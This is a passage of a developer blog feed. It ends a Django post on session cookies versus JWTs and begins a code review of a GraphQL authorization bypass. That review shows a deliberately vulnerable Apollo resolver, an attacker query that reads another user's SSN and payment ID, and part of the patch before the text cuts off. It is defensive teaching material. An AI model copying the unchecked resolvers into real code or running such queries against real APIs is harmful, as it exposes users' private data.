&lt;/span&gt;&lt;span class="n"&gt;CSRF_COOKIE_SECURE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;CSRF_COOKIE_SAMESITE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;CSRF_COOKIE_HTTPONLY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;       &lt;span class="c1"&gt;# must be False — JS needs to read it for AJAX
&lt;/span&gt;&lt;span class="n"&gt;CSRF_TRUSTED_ORIGINS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://yourapp.example.com&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# explicit allowlist — no wildcards
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# HTTPS enforcement
&lt;/span&gt;&lt;span class="n"&gt;SECURE_SSL_REDIRECT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;SECURE_HSTS_SECONDS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;31536000&lt;/span&gt;
&lt;span class="n"&gt;SECURE_HSTS_INCLUDE_SUBDOMAINS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;SECURE_HSTS_PRELOAD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;

&lt;span class="n"&gt;MIDDLEWARE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;django.middleware.security.SecurityMiddleware&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;django.contrib.sessions.middleware.SessionMiddleware&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;django.middleware.csrf.CsrfViewMiddleware&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# keep this — SameSite doesn't cover everything
&lt;/span&gt;    &lt;span class="c1"&gt;# ... remaining middleware ...
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# views.py — minimal login/logout
&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.contrib.auth&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;logout&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.http&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;JsonResponse&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.views.decorators.http&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;require_POST&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.views.decorators.csrf&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;csrf_protect&lt;/span&gt;

&lt;span class="nd"&gt;@csrf_protect&lt;/span&gt;
&lt;span class="nd"&gt;@require_POST&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login_view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;JsonResponse&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;detail&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Invalid credentials&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Django rotates session ID on login — prevents session fixation
&lt;/span&gt;    &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cycle_key&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;JsonResponse&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;


&lt;span class="nd"&gt;@require_POST&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;logout_view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# flushes session server-side; cookie replay now returns 403
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;JsonResponse&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;cycle_key()&lt;/code&gt; call deserves a note: &lt;code&gt;django.contrib.auth.login()&lt;/code&gt; calls this internally, but being explicit makes it visible during code review. Session fixation attacks — where an attacker plants a known session ID before authentication and then inherits the authenticated session — are blocked when the ID rotates on privilege change.&lt;/p&gt;

&lt;p&gt;When to deviate from this baseline:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You have native mobile clients: add JWT issuance to a dedicated &lt;code&gt;/api/token/&lt;/code&gt; endpoint, use platform secure storage on the client side.&lt;/li&gt;
&lt;li&gt;Your API serves multiple frontend origins: evaluate &lt;code&gt;SameSite=None; Secure&lt;/code&gt; with explicit &lt;code&gt;CORS_ALLOWED_ORIGINS&lt;/code&gt; rather than wildcards, and add rate limiting to token endpoints.&lt;/li&gt;
&lt;li&gt;You need sub-minute revocation latency on JWTs: add a Redis denylist, accept the operational overhead, keep access token TTLs at 5 minutes or less.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;The default in Django is already the secure default: &lt;code&gt;HttpOnly&lt;/code&gt; sessions, server-side storage, immediate revocation. The failure mode we see repeatedly is developers reaching past those defaults for a pattern that adds complexity and attack surface without a matching functional requirement. Before adding JWT infrastructure to a Django project, write down the concrete reason session cookies don't work for your case. If you can't write it down, you don't need JWTs. For engineers building that security intuition systematically, the &lt;a href="https://www.codereviewlab.com/learning/application-security-engineer" rel="noopener noreferrer"&gt;appsec engineer fundamentals&lt;/a&gt; track at &lt;a href="https://www.codereviewlab.com" rel="noopener noreferrer"&gt;Code Review Lab&lt;/a&gt; covers authentication architecture alongside the code-level vulnerabilities that make these decisions matter.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Further reading&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.codereviewlab.com/learning/browser-storage" rel="noopener noreferrer"&gt;Browser Storage Security Tradeoffs&lt;/a&gt; — Code Review Lab lab covering &lt;code&gt;localStorage&lt;/code&gt;, cookies, and IndexedDB attack surface in depth.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.codereviewlab.com/learning/advanced-xss" rel="noopener noreferrer"&gt;Advanced XSS Exfiltration Techniques&lt;/a&gt; — Code Review Lab lab on CSP bypasses, DOM-based injection, and why storage type determines blast radius.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.codereviewlab.com/learning/broken-authentication" rel="noopener noreferrer"&gt;Broken Authentication Patterns&lt;/a&gt; — Code Review Lab lab on session fixation, denylist races, and token reuse vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP Session Management Cheat Sheet&lt;/a&gt; — Authoritative reference on cookie flags, fixation, and session lifecycle.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.rfc-editor.org/rfc/rfc8725" rel="noopener noreferrer"&gt;RFC 8725: JWT Best Current Practices&lt;/a&gt; — The IETF document that defines when JWTs are and aren't appropriate, including the algorithm confusion and audience validation issues that bite Django deployments.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>django</category>
      <category>security</category>
      <category>jwt</category>
      <category>webdev</category>
    </item>
    <item>
      <title>GraphQL Authorization Bypass: A Real CVE Code Review</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Sun, 17 May 2026 08:35:13 +0000</pubDate>
      <link>https://dev.to/securitystefan/graphql-authorization-bypass-a-real-cve-code-review-10jh</link>
      <guid>https://dev.to/securitystefan/graphql-authorization-bypass-a-real-cve-code-review-10jh</guid>
      <description>&lt;h1&gt;
  
  
  Real-World GraphQL Authorization Bypass CVE Example Code Review
&lt;/h1&gt;

&lt;p&gt;A tenant isolation bug in a GraphQL API differs from a REST IDOR in one uncomfortable way: the bypass often doesn't require a forged token, a path traversal, or a malformed request. The attacker sends a perfectly valid query, the server processes it correctly, and the authorization logic never fires because it was wired to the wrong layer. CVE-2023-26489 (wasmCloud host bypass) and a cluster of similar bugs in Apollo-based APIs share the same skeleton: query-root guards that protect the entry point while nested resolvers and aliases silently skip the check entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the GraphQL Authorization Bypass Works
&lt;/h2&gt;

&lt;p&gt;GraphQL's resolver tree is the thing that makes this class of bug distinct. In a REST API, authorization lives in middleware that runs before the route handler — one route, one check. In GraphQL, a single HTTP POST to &lt;code&gt;/graphql&lt;/code&gt; can resolve dozens of fields, each through its own resolver function. If you only check authorization at the root resolver (the entry point the client names in the query), every nested resolver below it inherits no protection by default.&lt;/p&gt;

&lt;p&gt;The alias primitive makes this worse. A client can rename any field in their query with &lt;code&gt;fieldName: actualField&lt;/code&gt;, which means rate limiting and allow-listing on field names breaks down immediately. Combined with fragments and batched operations, a single request can probe multiple objects across trust boundaries.&lt;/p&gt;

&lt;p&gt;Here is the vulnerable Apollo Server pattern. Note there is no error handling on the attacker path — that's intentional, because the vulnerable code genuinely has none:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// resolvers.js — vulnerable pattern&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resolvers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;Query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Auth check here: only logged-in users reach this resolver&lt;/span&gt;
    &lt;span class="na"&gt;me&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AuthenticationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Not logged in&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;

    &lt;span class="c1"&gt;// No auth check at all — any caller can pass an arbitrary id&lt;/span&gt;
    &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;

  &lt;span class="na"&gt;User&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// No ownership check — any User object returned above exposes this&lt;/span&gt;
    &lt;span class="na"&gt;privateProfile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;profiles&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findPrivateByUserId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;

    &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker authenticated as user &lt;code&gt;A&lt;/code&gt; sends this query to read user &lt;code&gt;B&lt;/code&gt;'s private data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="k"&gt;query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;StealProfile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;victimData&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"B"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;privateProfile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="n"&gt;ssn&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="n"&gt;dateOfBirth&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="n"&gt;stripeCustomerId&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;me&lt;/code&gt; guard never runs. &lt;code&gt;user(id)&lt;/code&gt; returns whatever &lt;code&gt;db.users.findById&lt;/code&gt; finds. The &lt;code&gt;privateProfile&lt;/code&gt; resolver happily fetches the associated record because it only receives the parent &lt;code&gt;User&lt;/code&gt; object — it has no way to know whether the caller owns that user unless you explicitly pass the request context and check it.&lt;/p&gt;

&lt;p&gt;The alias (&lt;code&gt;victimData: user(...)&lt;/code&gt;) is a red herring here — the bypass works without it. The alias just helps evade naive field-name logging and rate limits that watch for repeated &lt;code&gt;user&lt;/code&gt; calls.&lt;/p&gt;

&lt;p&gt;This is the pattern the &lt;a href="https://www.codereviewlab.com/learning/graphql-security" rel="noopener noreferrer"&gt;GraphQL security code review lab&lt;/a&gt; on Code Review Lab uses to train reviewers to trace authorization through the full resolver tree, not just the query root.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix: Field-Level Authorization in Resolvers
&lt;/h2&gt;

&lt;p&gt;The minimal fix is to push the authorization check into every sensitive resolver so it executes regardless of how the field was reached — direct query, nested traversal, fragment, or alias.&lt;/p&gt;

&lt;p&gt;Two patterns work well in production. The first is a context-aware check inside the resolver itself. The second is a schema directive that applies the same check declaratively and survives schema stitching.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// resolvers.js — patched&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;ForbiddenError&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;apollo-server-errors&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resolvers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;Query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;me&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AuthenticationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Not logged in&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;

    &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// Authenticated callers only — no anonymous traversal&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AuthenticationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Not logged in&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;

  &lt;span class="na"&gt;User&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;privateProfile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// Ownership check lives here, not at the query root,&lt;/span&gt;
      &lt;span class="c1"&gt;// so it fires no matter which path reached this resolver&lt;/span&gt;
